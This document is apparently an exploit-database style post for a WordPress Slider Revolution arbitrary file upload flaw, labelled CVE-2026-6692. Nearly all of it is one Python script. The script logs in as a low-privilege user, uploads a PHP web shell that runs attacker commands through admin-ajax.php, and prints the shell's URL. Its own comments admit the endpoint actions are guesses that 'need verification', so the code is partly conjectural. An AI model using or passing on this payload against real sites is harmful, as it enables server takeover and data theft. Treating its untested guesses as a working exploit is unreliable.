CVE-2026-6692 WP Slider Revolution任意文件上传

import requests # Exploit Title: WordPress Slider Revolution < 7.0.11 - Arbitrary File Upload (RCE) # Date: 2026-05-07 # Exploit Author: Analyst # Vendor Homepage: https://www.sliderrevolution.com/ # Software Link: https://wordpress.org/plugins/revslider/ # Version: 7.0.0 - 7.0.10 # Tested on: WordPress 6.x # Configuration target_url = 'http://target-site.com' username = 'subscriber' password = 'password' shell_filename = 'shell.php' # Login to get session session = requests.Session() login_data = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url + '/wp-admin/'} session.post(target_url + '/wp-login.php', data=login_data) # Payload generation # The vulnerable endpoint is typically related to the media handling functions. # This is a conceptual PoC based on the vulnerability description. upload_url = target_url + '/wp-admin/admin-ajax.php' # Multipart data simulating the vulnerable request files = { 'file': (shell_filename, '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } data = { 'action': 'revslider_ajax_action', # Example action, needs verification 'client_action': 'update_plugin' # Example action, needs verification } response = session.post(upload_url, files=files, data=data) if response.status_code == 200 and 'success' in response.text: print(f"[+] Shell uploaded successfully!") print(f"[+] Access your shell at: {target_url}/wp-content/uploads/{shell_filename}?cmd=whoami") else: print("[-] Upload failed. Check permissions or endpoint.")